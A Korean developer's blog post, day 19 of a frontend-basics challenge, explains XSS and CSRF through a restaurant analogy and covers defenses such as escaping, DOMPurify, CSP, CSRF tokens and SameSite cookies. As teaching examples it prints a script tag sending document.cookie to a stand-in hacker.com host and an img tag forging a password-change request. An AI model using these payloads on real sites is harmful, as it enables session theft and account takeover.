[Day 19] 프론트엔드 보안 기본기 — XSS, CSRF 개념

짱효·2026년 5월 6일

프론트엔드 기초 다시 쌓기 챌린지 19일차.
Part 2 "환경변수·시크릿·보안"의 네 번째 수업.

Day 16~18에서 환경변수와 API 키 관리를 배웠다면,
오늘은 "해커가 우리 사이트를 어떻게 공격하는가? 그리고 어떻게 막는가?"를 배웠다.


🍳 오늘의 비유: "누가 우리 레스토랑에 몰래 뭔가를 한다"

공격 1 (XSS): 악당이 메뉴판에 몰래 가짜 안내문을 끼워 넣음
→ 손님이 진짜인 줄 알고 "여기에 카드번호 적어주세요"에 속음

공격 2 (CSRF): 악당이 다른 곳에서 단골 손님 이름으로 가짜 주문을 보냄
→ 손님이 자기도 모르게 비싼 코스요리 100인분 주문됨

💉 XSS (Cross-Site Scripting)

XSS가 뭐야?

해커가 우리 사이트에 악성 스크립트(JavaScript)를 몰래 심는 공격

어떻게 공격하는가?

쇼핑몰에 리뷰 기능이 있다고 하자.

일반 사용자의 리뷰:
"이 상품 너무 좋아요! 배송도 빨라요."

해커의 리뷰:
"좋은 상품이에요<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>"

이 리뷰를 그대로 화면에 보여주면 스크립트가 실행된다.

1. 다른 손님이 리뷰 페이지 방문
2. 해커가 심은 스크립트가 자동 실행
3. 손님의 쿠키(로그인 정보)가 해커 서버로 전송
4. 해커가 손님 계정으로 로그인!

어떻게 막는가?

방법 1: innerHTML 대신 textContent

// ❌ 위험! 사용자 입력을 HTML로 렌더링
element.innerHTML = userInput;

// ✅ 안전! 텍스트로만 처리 (스크립트 실행 안 됨)
element.textContent = userInput;

방법 2: React는 기본적으로 막아줌!

function Review({ content }) {
  return <div>{content}</div>;  // ✅ 안전!
  // <script>가 문자열로 보이고 실행 안 됨
}

React가 자동으로 특수문자를 변환해준다:

<script>&lt;script&gt;
→ 화면에 "<script>"라는 글자로 보이고, 실행은 안 됨

⚠️ 하지만 React에서도 위험한 게 하나 있다!

// ❌ 위험! 이스케이프를 무시하고 HTML을 그대로 렌더링
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ✅ 꼭 써야 한다면 DOMPurify로 살균 먼저!
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

이름이 dangerouslySetInnerHTML인 이유가 있다. 진짜 위험하니까!

방법 3: Content Security Policy (CSP) 헤더

Content-Security-Policy: script-src 'self'
→ "우리 도메인의 스크립트만 실행해라"
→ 해커가 외부 스크립트를 삽입해도 브라우저가 차단

🎣 CSRF (Cross-Site Request Forgery)

CSRF가 뭐야?

사용자가 자기도 모르게 우리 사이트에 요청을 보내게 하는 공격

핵심: 해커 사이트에서 우리 사이트로 몰래 요청을 보내는 것이다.
우리 사이트 안에 뭔가를 심는 게 아니다.

어떻게 공격하는가?

1. 내가 쇼핑몰에 로그인 중 (브라우저에 로그인 쿠키 있음)
2. 해커 사이트를 방문 (그냥 "귀여운 고양이 사진" 사이트일 수도 있음)
3. 그 페이지 HTML 안에 이게 숨어있음:
   <img src="https://myshop.com/api/change-password?new=hacker123" />
4. 브라우저가 이미지를 로드하려고 myshop.com에 요청을 보냄
5. 나는 myshop.com에 로그인 중이니까 쿠키가 자동으로 같이 감!
6. 서버: "로그인된 사용자가 비밀번호 변경 요청했구나" → 처리
7. 내 비밀번호가 바뀌어버림! 나는 아무것도 모름!

CSRF가 무서운 이유: 사용자가 아무것도 안 해도, 그냥 해커 사이트를 방문만 해도 공격이 진행된다.

피싱과 CSRF의 차이

처음에는 "우리 사이트를 똑같이 만들어서 속이는 건가?" 하고 헷갈렸다.
그건 CSRF가 아니라 피싱(Phishing)이라는 별개의 공격이다.

피싱:  가짜 사이트에서 사용자가 직접 정보를 입력하게 속임
       → "여기에 로그인하세요" → 사용자가 아이디/비밀번호 입력

CSRF:  아무 사이트에서 우리 사이트로 몰래 요청만 보냄
       → 사용자가 뭔가를 입력할 필요도 없음
       → 페이지 방문만 해도 공격 당함

어떻게 막는가?

방법 1: CSRF 토큰

서버가 매 요청마다 일회용 비밀번호를 발급한다.

1. 비밀번호 변경 페이지 접속 → 서버가 CSRF 토큰 발급: "xyz789"
2. 변경 요청 보낼 때 이 토큰도 같이 보내야 함
3. 토큰 맞으면 처리, 틀리면 거부
→ 해커는 이 토큰을 모르니까 요청 위조 불가!

방법 2: SameSite 쿠키 설정

Set-Cookie: session=abc123; SameSite=Strict
→ 다른 사이트에서 보낸 요청에는 쿠키를 안 보냄
→ 해커 사이트에서 요청해도 로그인 안 된 상태로 취급

방법 3: 중요한 요청은 GET이 아닌 POST로

❌ GET /api/delete?id=123
   → <img src="우리사이트/api/delete?id=123"> 로 쉽게 공격 가능

✅ POST /api/delete
   → <img> 태그로는 POST 요청을 못 보냄 → 공격 난이도 올라감

📊 XSS vs CSRF 한눈에 비교

XSSCSRF
공격 위치우리 사이트 안해커 사이트에서
공격 방식악성 스크립트 삽입가짜 요청 전송
사용자 행동우리 사이트 방문하면 당함해커 사이트 방문만 해도 당함
훔치는 것쿠키, 개인정보사용자의 권한으로 행동
방어React {}, DOMPurify, CSPCSRF 토큰, SameSite 쿠키, POST
레스토랑 비유메뉴판에 가짜 안내문 끼움다른 곳에서 가짜 주문 보냄

✅ 프론트엔드 개발자 보안 체크리스트

✅ 1. 사용자 입력을 innerHTML로 렌더링하지 않기
✅ 2. dangerouslySetInnerHTML 쓸 때 반드시 DOMPurify로 살균
✅ 3. NEXT_PUBLIC_에 시크릿 키 넣지 않기 (Day 16)
✅ 4. .env를 git에 올리지 않기 (Day 17)
✅ 5. API 요청은 가능하면 POST 사용
✅ 6. 외부 데이터를 그대로 렌더링하지 않기
✅ 7. HTTPS 사용

요즘 대부분의 사이트와 브라우저는 이미 방어가 되어 있다.
SameSite 쿠키가 기본값이고, HTTPS도 보편화되어 있다.

그래서 우리가 집중해야 할 건 "내가 만든 사이트는 괜찮은가?"다.
공격당하는 사용자 입장보다, 방어해야 하는 개발자 입장이 더 중요하다.


🔍 내 프로젝트에서 지금 바로 점검하기

1. 프로젝트에서 dangerouslySetInnerHTML 검색
   → 사용자 입력이 들어가는지 확인 → DOMPurify 적용!

2. 프로젝트에서 innerHTML 검색
   → 사용자 입력을 넣고 있다면 textContent로 변경

3. GET으로 데이터를 변경하는 API가 있는지 확인
   → 삭제, 수정, 결제 같은 건 POST/PUT/DELETE로

🍳 레스토랑 비유 업데이트

레스토랑서버
메뉴판에 가짜 안내문 끼움XSS (악성 스크립트 삽입)
다른 곳에서 가짜 주문 보냄CSRF (가짜 요청 위조)
가짜 레스토랑 만들어서 속임피싱 (Phishing)
"방명록은 텍스트만 가능" 규칙innerHTML 대신 textContent
주문할 때 오늘의 비밀번호 확인CSRF 토큰
"VIP 카드는 매장 안에서만 유효"SameSite 쿠키
방명록 내용을 소독 후 게시DOMPurify로 살균

🎯 오늘 배운 것 최종 정리

  1. XSS: 해커가 "우리 사이트 안에" 악성 스크립트를 심는 공격
  2. XSS 방어: React {}는 자동 방어, dangerouslySetInnerHTML은 위험, DOMPurify로 살균
  3. CSRF: 해커가 "다른 사이트에서" 우리 사이트로 가짜 요청을 보내는 공격
  4. CSRF 방어: CSRF 토큰, SameSite 쿠키, 중요한 요청은 POST로
  5. 피싱과 CSRF는 다르다: 피싱은 가짜 사이트로 속이는 것, CSRF는 몰래 요청 보내는 것
  6. 핵심 관점: "내가 만든 사이트가 안전한가?" 방어하는 개발자 입장이 중요

🧪 이해도 체크

Q1. XSS와 CSRF의 차이는?
→ 정답: XSS는 우리 사이트 안에 악성 스크립트를 심는 공격. CSRF는 해커 사이트에서 우리 사이트로 가짜 요청을 보내는 공격. XSS는 "안에서", CSRF는 "밖에서".

Q2. React에서 안전한 방법과 위험한 방법은?
→ 정답: {content}는 안전 (자동 이스케이프). dangerouslySetInnerHTML은 위험 (이스케이프 무시). 꼭 써야 하면 DOMPurify로 살균.

Q3. 상품 삭제 API를 GET으로 만들면 위험한 이유는?
→ 정답: <img src="우리사이트/api/delete?id=123">처럼 img 태그로 GET 요청을 쉽게 보낼 수 있다. 로그인된 사용자가 해커 사이트를 방문만 해도 상품이 삭제될 수 있음 (CSRF 공격).


💭 회고

보안은 처음 들으면 헷갈리는 게 당연하다.
특히 XSS, CSRF, 피싱 이 세 가지가 처음에 섞였었는데 정리하고 나니 확실해졌다.

XSS:  우리 사이트 "안에" 코드를 심는다
CSRF: "밖에서" 우리 사이트로 요청을 보낸다
피싱: 가짜 사이트를 만들어 속인다

가장 인상 깊었던 건, CSRF는 사용자가 아무것도 안 해도 페이지 방문만으로 공격당한다는 것.
<img> 태그 하나로 GET 요청이 자동으로 나간다는 게 충격이었다.
그래서 중요한 API는 POST로 만들어야 한다는 게 납득이 됐다.

그리고 React가 기본적으로 XSS를 막아주고 있다는 것도 새로 알았다.
평소에 {content}로 렌더링하는 게 당연했는데, 그게 보안 기능이었다니.
dangerouslySetInnerHTML만 조심하면 된다.


📚 다음 학습 예고

Day 20: Part 2 회고 + 총정리
환경변수·시크릿·보안 5일간의 내용을 하나로 연결한다.

#프론트엔드 #보안 #XSS #CSRF #웹보안 #2년차개발자 #기초다시쌓기

profile
✨🌏확장해 나가는 프론트엔드 개발자입니다✏️

0개의 댓글